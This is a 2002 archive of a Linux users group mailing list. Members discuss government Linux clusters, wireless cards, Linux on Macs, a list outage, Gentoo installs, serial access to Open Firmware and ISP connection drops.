X-Mailman-Approved-At: Thu, 05 Sep 2002 19:26:13 -0000 Subject: [QCLUG] the Goverment is catching on X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 22 Aug 2002 18:58:42 -0000 ENERGY, NASA ADD SUPERSIZED LINUX GEAR TO THEIR SYSTEMS. The Energy Department's Lawrence Livermore National Laboratory is buying the world's largest Linux cluster, built by Linux Networx Inc. of Sandy, Utah. Together, the 960 nodes can execute more than 9 trillion operations... 08/22/02 (Article indexed) Government Computer News 08/12/02 http://cma.zdnet.com/texis/TIB/pdisplay.html?docid=3D90465617 --=20 Linux,chaos,and Mountain Dew a connection? From baldy@mchsi.com Thu Aug 22 18:59:58 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 31278 invoked by uid 1051); 22 Aug 2002 18:59:58 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 22 Aug 2002 18:59:58 -0000 Received: from linux ([12.217.93.116]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020822185955.BHQV23220.sccmmhc01.mchsi.com@linux> for ; Thu, 22 Aug 2002 18:59:55 +0000 Content-Type: text/plain; charset="us-ascii" From: Baldy To: qclug@qclug.org Date: Thu, 22 Aug 2002 13:59:00 -0500 X-Mailer: KMail [version 1.4] MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208221359.00438.baldy@mchsi.com> X-Mailman-Approved-At: Thu, 05 Sep 2002 19:26:13 -0000 Subject: [QCLUG] and another X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 22 Aug 2002 18:59:58 -0000 ENERGY BUYS MASSIVELY PARALLEL LINUX SYSTEM. Energy Department laboratory. Scheduled to be fully operational early nex= t year, the Pacific Northwest National Lab's HP supercomputer will have a theoretical peak performance of 8.3 trillion floating-point operations... 08/22/02 (Article indexed) Government Computer News 08/12/02 http://cma.zdnet.com/texis/TIB/pdisplay.html?docid=3D90465619 --=20 Linux,chaos,and Mountain Dew a connection? From behroozi@infosys.pls.uni.edu Fri Aug 23 14:48:23 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 2859 invoked by uid 1051); 23 Aug 2002 14:48:23 -0000 Received: from unknown (HELO mail.cfu.net) (24.149.0.1) by 0 with SMTP; 23 Aug 2002 14:48:23 -0000 Received: from [192.168.0.4] (dhcp-79-186-167-65.cf-res.cfu.net [65.167.186.79]) by mail.cfu.net (Postfix) with ESMTP id 8E3049F8AC; Fri, 23 Aug 2002 09:48:23 -0500 (CDT) Subject: Re: [QCLUG] Linux Wireless PCMCIA Cards From: Peter Behroozi To: cedarlug@cedarlug.org Cc: qclug@qclug.org In-Reply-To: <1030084030.3d65d5be7f8a7@www.qlitech.net> References: <1030084030.3d65d5be7f8a7@www.qlitech.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.2-5mdk Date: 23 Aug 2002 09:47:17 -0500 Message-Id: <1030114037.1600.48.camel@dhcppc3> Mime-Version: 1.0 X-Mailman-Approved-At: Thu, 05 Sep 2002 19:26:13 -0000 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 23 Aug 2002 14:48:23 -0000 On Fri, 2002-08-23 at 01:27, Ray Sanders wrote: > D-Link DWL 650. Uses the wvlan_cs or the orinoco driver. I don't remember > which. Stay Away from the DWL 650+ as it uses a propreitary TI Chipset. > > Any recent distro will support the DWL 650 "out of the box" > > I'd say about $50-70 for the DWL 650 on pricewatch. I've actually had some problems with the DWL-650 since it doesn't seem to work well with my brother's NetGear MR314 wireless router. It is fine under light loads (like web browsing) relatively close to the router, but as soon as it tries to transfer a heavy load or goes out of range and comes back in, it will stop working until I restart the router. Naturally, I bought a NetGear MA401 (about the same price as the D-Link) and it works like a champ. The moral of the story: If you can find out which brand of router your university is using, you may well save yourself some headaches by buying the same brand of wireless PCMCIA card. As long as it has a Prism-based chipset, it should work under Linux. Peter Behroozi From behroozi@infosys.pls.uni.edu Tue Aug 27 18:20:09 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 9132 invoked by uid 1051); 27 Aug 2002 18:20:09 -0000 Received: from unknown (HELO mail.cfu.net) (24.149.0.1) by 0 with SMTP; 27 Aug 2002 18:20:09 -0000 Received: from [192.168.0.4] (dhcp-79-186-167-65.cf-res.cfu.net [65.167.186.79]) by mail.cfu.net (Postfix) with ESMTP id 341989F2E3; Tue, 27 Aug 2002 13:20:10 -0500 (CDT) From: Peter Behroozi To: Cedar Valley Linux Users Group Cc: "qclug@qclug.org" In-Reply-To: <1030374513.1671.32.camel@tempe.qlitech.net> References: <1030374513.1671.32.camel@tempe.qlitech.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.2-5mdk Date: 27 Aug 2002 13:18:36 -0500 Message-Id: <1030472316.1868.87.camel@dhcppc3> Mime-Version: 1.0 X-Mailman-Approved-At: Thu, 05 Sep 2002 19:26:13 -0000 Subject: [QCLUG] Re: [Cedarlug] Apple Linux / MacOSX Systems X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 27 Aug 2002 18:20:09 -0000 On Mon, 2002-08-26 at 10:08, Ray Sanders wrote: > We've started offering Apple iBook, PowerBook and Xserve systems with > Linux / MacOSX Pre-Installed. Doesn't Yellow Dog Linux already do this? http://www.yellowdoglinux.com/products/ Peter Behroozi From wade@eccentrichosting.net Tue Aug 27 19:21:33 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 9566 invoked by uid 1051); 27 Aug 2002 19:21:33 -0000 Received: from unknown (HELO mail.cfu.net) (24.149.0.1) by 0 with SMTP; 27 Aug 2002 19:21:33 -0000 Received: from [192.168.1.58] (dhcp-214-212-161-205.cf-res.cfu.net [205.161.212.214]) by mail.cfu.net (Postfix) with ESMTP id 0D0C79F6C0; Tue, 27 Aug 2002 14:21:34 -0500 (CDT) User-Agent: Microsoft-Entourage/10.0.0.1309 Date: Tue, 27 Aug 2002 14:17:28 -0500 From: Wade Arnold To: Paul Gray , Peter Behroozi Cc: Cedar Valley Linux Users Group , "qclug@qclug.org" Message-ID: In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Mailman-Approved-At: Thu, 05 Sep 2002 19:26:13 -0000 Subject: [QCLUG] Re: [Cedarlug] Apple Linux / MacOSX Systems X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 27 Aug 2002 19:21:33 -0000 A little off topic, but! I bought a powerbook G4 and it is the bomb. Yellow dog is nice too! wade On 8/27/02 1:50 PM, "Paul Gray" wrote: > On 27 Aug 2002, Peter Behroozi wrote: > >> On Mon, 2002-08-26 at 10:08, Ray Sanders wrote: >>> We've started offering Apple iBook, PowerBook and Xserve systems with >>> Linux / MacOSX Pre-Installed. >> >> Doesn't Yellow Dog Linux already do this? >> >> http://www.yellowdoglinux.com/products/ > > They support YDL, but not Debian PPC, Mandrake PPC, etc. > > Paul Gray -o) > 323 Wright Hall /\\ > University of Northern Iowa _\_V > Message void if penguin violated ... Don't mess with the penguin > No one ever says "Hey, I can't read that ASCII e-mail ya sent me." > > _______________________________________________ > Cedarlug mailing list > Cedarlug@cedarlug.org > http://lists.cfu.net/mailman/listinfo/cedarlug > > From garyr@dmin.net Fri Aug 30 01:34:43 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 24195 invoked by uid 1051); 30 Aug 2002 01:34:43 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 30 Aug 2002 01:34:43 -0000 Received: from Gary-Rogerss-Computer.local ([12.219.4.241]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020830013427.SDTI2075.sccmmhc01.mchsi.com@Gary-Rogerss-Computer.local>; Fri, 30 Aug 2002 01:34:27 +0000 Date: Thu, 29 Aug 2002 20:34:28 -0500 Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v543) Cc: Cedar Valley Linux Users Group , "qclug@qclug.org" To: Ray Sanders From: Gary Rogers In-Reply-To: <1030667770.3541.13.camel@tempe.qlitech.net> Message-Id: Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.543) X-Mailman-Approved-At: Thu, 05 Sep 2002 19:26:13 -0000 Subject: [QCLUG] Re: [Cedarlug] TOnight's Slashback X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 30 Aug 2002 01:34:43 -0000 Does anyone know if there is a GNU/Darwin type distro out yet? Something that uses the Darwin Base + the Linuxy bits over top for the perty graphics stuff? On Thursday, August 29, 2002, at 07:36 PM, Ray Sanders wrote: > :-) > > > Those who read slashdot should take a look at tonight's slashback. > > > > -- > ===================================================== > > Ray Sanders - QliTech Linux Computers > http://www.qlilinux.com - ray@qlilinux.com > 1-877-24-LINUX (Toll Free - U.S.A and Canada) > > ===================================================== > > _______________________________________________ > Cedarlug mailing list > Cedarlug@cedarlug.org > http://lists.cfu.net/mailman/listinfo/cedarlug > From klown@revealed.net Thu Sep 05 20:37:28 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 16693 invoked by uid 1051); 5 Sep 2002 20:37:28 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 5 Sep 2002 20:37:28 -0000 Received: from athlon ([208.23.178.155]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with SMTP id net for ; Thu, 5 Sep 2002 15:37:04 -0500 Message-ID: <002401c2552d$70c5b690$0201a8c0@athlon> From: "Mark Riedesel" To: References: <1030084030.3d65d5be7f8a7@www.qlitech.net> <1030114037.1600.48.camel@dhcppc3> Date: Thu, 5 Sep 2002 15:41:56 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [QCLUG] woah X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 05 Sep 2002 20:37:28 -0000 That was odd, there was no activity on the list since last month on the 23rd, and just today I got 30+ messages, that seems strange.. Mark (and yes, I check my mail often) From stephen@revealed.net Thu Sep 05 20:48:07 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 16831 invoked by uid 1051); 5 Sep 2002 20:48:07 -0000 Received: from unknown (HELO edd.revealed.net) (205.243.76.9) by 0 with SMTP; 5 Sep 2002 20:48:07 -0000 Received: (qmail 6452 invoked by uid 1008); 5 Sep 2002 20:32:29 -0000 Received: from unknown (HELO vortex) (63.102.218.21) by 0 with SMTP; 5 Sep 2002 20:32:29 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Roadkill the Avatar of Misfortune Organization: DethBird Computers To: qclug@qclug.org Subject: Re: [QCLUG] woah Date: Thu, 5 Sep 2002 15:47:17 -0500 X-Mailer: KMail [version 1.2] References: <1030084030.3d65d5be7f8a7@www.qlitech.net> <1030114037.1600.48.camel@dhcppc3> <002401c2552d$70c5b690$0201a8c0@athlon> In-Reply-To: <002401c2552d$70c5b690$0201a8c0@athlon> MIME-Version: 1.0 Message-Id: <02090515471701.08162@vortex> Content-Transfer-Encoding: 8bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: roadkill-ml@darktraveler.com, qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 05 Sep 2002 20:48:07 -0000 Yes, apparenlty that's when the server had to be restarted for some odd reason, and for what ever reason, the mailing list service did not start properly, though all emails sent in were collected, and were waiting proccessing, and obviously were processed when the service was started... Whoops ;} rk On Thursday 05 September 2002 17:41, you wrote: > That was odd, there was no activity on the list since last month on the > 23rd, and just today I got 30+ messages, that seems strange.. > > Mark > > (and yes, I check my mail often) > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From ray@qlilinux.com Thu Sep 05 21:11:12 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 17027 invoked by uid 1051); 5 Sep 2002 21:11:12 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 5 Sep 2002 21:11:12 -0000 From: Ray Sanders To: "qclug@qclug.org" , Cedar Valley Linux Users Group , "lug@cialug.org" Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7.99 Date: 05 Sep 2002 16:15:12 -0500 Message-Id: <1031260513.1385.42.camel@tempe.qlitech.net> Mime-Version: 1.0 Subject: [QCLUG] QCLUG.org list back up / Anyone need a cheap, cheap, cheap system? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 05 Sep 2002 21:11:12 -0000 Obviously from the subject you can see the qclug.org mailing list is back up. Sad thing is I did not know it was down. I just thought nobody was posting. I just got two emails about it being down in the past 24 hours. One another note if anoyone is interested in a super cheap machine, I have a workstation here that we have replaced with a faster system. Specs Are: Mid tower atx case (300W PS) New ASUS P3V4X Motherboar & Intel Celeron 400 CPU 128MB SDRAM 52X CDROM (new) SB 16 PCI (new) 3 COM 10/100 2GB IDE HDD 1.44 Floppy RH 6.2 $179.00 Contact me off list if interested. -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From gentoo@mchsi.com Thu Sep 05 22:40:37 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 17637 invoked by uid 1051); 5 Sep 2002 22:40:37 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 5 Sep 2002 22:40:37 -0000 Received: from laptop ([12.217.84.161]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020905224028.GTEX2075.sccmmhc01.mchsi.com@laptop> for ; Thu, 5 Sep 2002 22:40:28 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] Gentoo... Date: Thu, 5 Sep 2002 17:24:06 +0000 User-Agent: KMail/1.4.2 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209051724.07216.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 05 Sep 2002 22:40:37 -0000 bug away im runnig gentoo on everything including a toaster and soon powe= r=20 pc's ....... On Tuesday 03 September 2002 08:22 pm, Jerry Smith wrote: > I know Noah is using this distro, anybody else? I need to know who all= I > can bug in getting stuff working ;-) > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From gentoo@mchsi.com Thu Sep 05 22:47:00 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 17713 invoked by uid 1051); 5 Sep 2002 22:47:00 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 5 Sep 2002 22:47:00 -0000 Received: from laptop ([12.217.84.161]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020905224701.GVAB2075.sccmmhc01.mchsi.com@laptop> for ; Thu, 5 Sep 2002 22:47:01 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] Linux on a Presario 900 Date: Thu, 5 Sep 2002 17:30:40 +0000 User-Agent: KMail/1.4.2 References: <1031107891.31531.10.camel@PROTHEUS> In-Reply-To: <1031107891.31531.10.camel@PROTHEUS> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209051730.40435.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 05 Sep 2002 22:47:00 -0000 i have access to a usb cd-rom drive if the computer has usb you can insti= ll=20 this way , i pretty much use gentoo on everything . http://www.gentoo.or= g =20 On Wednesday 04 September 2002 02:51 am, Dan Berg wrote: > Has anybody successfully put linux onto a Presario 900 before? If you > have what distribution did you use? I have tried almost every latest > distro out their and the CD-Rom does not want to work when I try to > install it. The install program will detect and start to run off of the > CD but, then when it tries to look for the files it just gives up on it= =2E > > Any ideas? > > Thanks in advance, > > Dan > > > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From gentoo@mchsi.com Thu Sep 05 23:13:39 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 17833 invoked by uid 1051); 5 Sep 2002 23:13:39 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 5 Sep 2002 23:13:39 -0000 Received: from laptop ([12.217.84.161]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020905231340.HBBV2075.sccmmhc01.mchsi.com@laptop> for ; Thu, 5 Sep 2002 23:13:40 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Thu, 5 Sep 2002 17:57:18 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209051757.18906.gentoo@mchsi.com> Subject: [QCLUG] terminal connection to power pc to get in open firmware X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 05 Sep 2002 23:13:39 -0000 how do you connect to a terminal on a serial port on a mac i have the ser= ial=20 cable i need to do this to modify open firmware ??? --=20 life is linux=20 linux is life=20 From gentoo@mchsi.com Fri Sep 06 00:20:24 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 18050 invoked by uid 1051); 6 Sep 2002 00:20:24 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 6 Sep 2002 00:20:24 -0000 Received: from laptop ([12.217.84.161]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020906002025.HRBN2075.sccmmhc01.mchsi.com@laptop> for ; Fri, 6 Sep 2002 00:20:25 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] demo day Date: Thu, 5 Sep 2002 19:04:03 +0000 User-Agent: KMail/1.4.2 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209051904.03979.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 06 Sep 2002 00:20:24 -0000 =09I have no idea whats going on with demo day ( i cant get to any lug me= eting=20 if there in davenport unless i can get a ride ? ) hey what happened to=20 augastana ??? At least i can make it there . On Monday 02 September 2002 02:27 am, Shawn Beattie wrote: > I have not been able to secure a location so far for demo day. The > ensemble room that we used for Installfest last year is taken. > > Tomorrow (Monday) is the deadline to reserve a booth at Southpark. > However, they require that you be a non-profit group to participate in > their community day. I don't think we qualify as a group. The only way= we > could participate would be if we had a non-profit sponsor (?) > > I have not been receiving QCLUG mail so I have no idea what is going on= =2E > Ideas/comments? > > Shawn > > > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From compgod@mchsi.com Fri Sep 06 01:03:12 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 18168 invoked by uid 1051); 6 Sep 2002 01:03:11 -0000 Received: from unknown (HELO PROTHEUS) (12.217.83.30) by 0 with SMTP; 6 Sep 2002 01:03:11 -0000 Received: from PROTHEUS (PROTHEUS [127.0.0.1]) by PROTHEUS (8.11.6/8.11.6) with ESMTP id g8604a004018 for ; Thu, 5 Sep 2002 20:04:37 -0400 Subject: Re: [QCLUG] Linux on a Presario 900 From: Dan Berg To: qclug@qclug.org In-Reply-To: <200209051730.40435.gentoo@mchsi.com> References: <1031107891.31531.10.camel@PROTHEUS> <200209051730.40435.gentoo@mchsi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 05 Sep 2002 20:04:33 -0400 Message-Id: <1031270677.3982.2.camel@PROTHEUS> Mime-Version: 1.0 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 06 Sep 2002 01:03:12 -0000 Yeah it does have USB and I did get Slackware to recognize the DVD/CD-Burner. Only thing was that it didn't want to play nice with the network card. Doesn't really matter now. I've given in and put XP pro on it and I'm going to expairiment with VMware with the Linux thing. Dan On Thu, 2002-09-05 at 13:30, Noah Justin Norris wrote: > i have access to a usb cd-rom drive if the computer has usb you can instill > this way , i pretty much use gentoo on everything . http://www.gentoo.org > > > On Wednesday 04 September 2002 02:51 am, Dan Berg wrote: > > Has anybody successfully put linux onto a Presario 900 before? If you > > have what distribution did you use? I have tried almost every latest > > distro out their and the CD-Rom does not want to work when I try to > > install it. The install program will detect and start to run off of the > > CD but, then when it tries to look for the files it just gives up on it. > > > > Any ideas? > > > > Thanks in advance, > > > > Dan > > > > > > > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org > > http://qclug.org/mailman/listinfo/qclug > > -- > life is linux > linux is life > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From gentoo@mchsi.com Sat Sep 07 04:10:24 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 22024 invoked by uid 1051); 7 Sep 2002 04:10:24 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 7 Sep 2002 04:10:24 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020907041023.JLMT7903.sccmmhc02.mchsi.com@laptop> for ; Sat, 7 Sep 2002 04:10:23 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] terminal connection to power pc to get in open firmware Date: Fri, 6 Sep 2002 22:52:31 +0000 User-Agent: KMail/1.4.2 References: <200209051757.18906.gentoo@mchsi.com> In-Reply-To: <200209051757.18906.gentoo@mchsi.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209062252.31957.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 07 Sep 2002 04:10:24 -0000 On Thursday 05 September 2002 05:57 pm, Noah Justin Norris wrote: > how do you connect to a terminal on a serial port on a mac i have the > serial cable i need to do this to modify open firmware ??? can anyone help with this i tried the program micrcom in linux no luck . = any=20 ideas anyone ? --=20 life is linux=20 linux is life=20 From gentoo@mchsi.com Sat Sep 07 16:40:40 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 23248 invoked by uid 1051); 7 Sep 2002 16:40:40 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 7 Sep 2002 16:40:40 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020907164041.LWEO7903.sccmmhc02.mchsi.com@laptop> for ; Sat, 7 Sep 2002 16:40:41 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Sat, 7 Sep 2002 11:21:51 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209071121.51938.gentoo@mchsi.com> Subject: [QCLUG] open firmware older macs / i got into open firmware X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 07 Sep 2002 16:40:40 -0000 you can use minicom to connect to openfirmware on the modem port of the= =20 power pc's i succesfull loged into open firmware on a 5500/225 and it had= =20 version 2.0 of o.f. you have to make sure you are conecting to it at 3= 8400=20 8n1 in a vt102 terminal, i hopefully will write a howto about the whole=20 process of installing linux on a older mac without mac os. i know this w= ould=20 be helpfull. there seems there could be docs at least on connecting to op= en=20 firmware on a linux box . i will keep everyone informed on my progress :)= =20 --=20 life is linux=20 linux is life=20 From gentoo@mchsi.com Mon Sep 09 01:31:08 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 25967 invoked by uid 1051); 9 Sep 2002 01:31:08 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 9 Sep 2002 01:31:08 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020909013056.UXCO7903.sccmmhc02.mchsi.com@laptop> for ; Mon, 9 Sep 2002 01:30:56 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Sun, 8 Sep 2002 20:10:12 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209082010.12889.gentoo@mchsi.com> Subject: [QCLUG] mediacom cutting out during downloads X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 01:31:08 -0000 =09Anyone notice mediacom cutting out during downloads of big files or sm= all ?=20 Like i have been trying to download debian for power pc the downloads wo= uld=20 get stuck half way or when there almost done it would just sit there unab= le=20 to resusme or connects like the internet died but im able to get website = and=20 start other downloads .this has happened on 4 gentoo boxes and my win2k e= ven=20 my laptop seems to die just getting mail like the server disappered. ?=20 =09Could this also be my Masq machine dying its been up 141 days. It seems like mediacom randomly shuts me off and turns me back on i have = been=20 doing alot of rerunning #ifdown eth1 #ifup eth1on my server ( renews dhcp= =20 info ) gives the same ip its just like it was turned off ..... I can giv= e=20 any info on my server if needed to be . has anyone else noticed this ?=20 =09Well anyway i have not been able to download the power pc debian port = if=20 anyone has the disk i could copy i would appriciate it alot . i tried eve= ry=20 mirror and even the jigdo program on both linux and windows and it seems = to=20 always just hang. it seems sometimes portage hangs on my gentoo systems t= o.=20 along with other downloading programs .=20 --=20 life is linux=20 linux is life=20 From cj7jed@hotmail.com Mon Sep 09 01:42:22 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 26039 invoked by uid 1051); 9 Sep 2002 01:42:22 -0000 Received: from unknown (HELO hotmail.com) (64.4.17.68) by 0 with SMTP; 9 Sep 2002 01:42:22 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 8 Sep 2002 18:42:16 -0700 Received: from 63.102.218.222 by lw11fd.law11.hotmail.msn.com with HTTP; Mon, 09 Sep 2002 01:42:16 GMT X-Originating-IP: [63.102.218.222] From: "Jedidiah Smith" To: QCLUG@qclug.org Bcc: Date: Sun, 08 Sep 2002 20:42:16 -0500 Mime-Version: 1.0 Content-Type: text/html Message-ID: X-OriginalArrivalTime: 09 Sep 2002 01:42:16.0284 (UTC) FILETIME=[209661C0:01C257A2] Subject: [QCLUG] Anyone in the QC area that could help 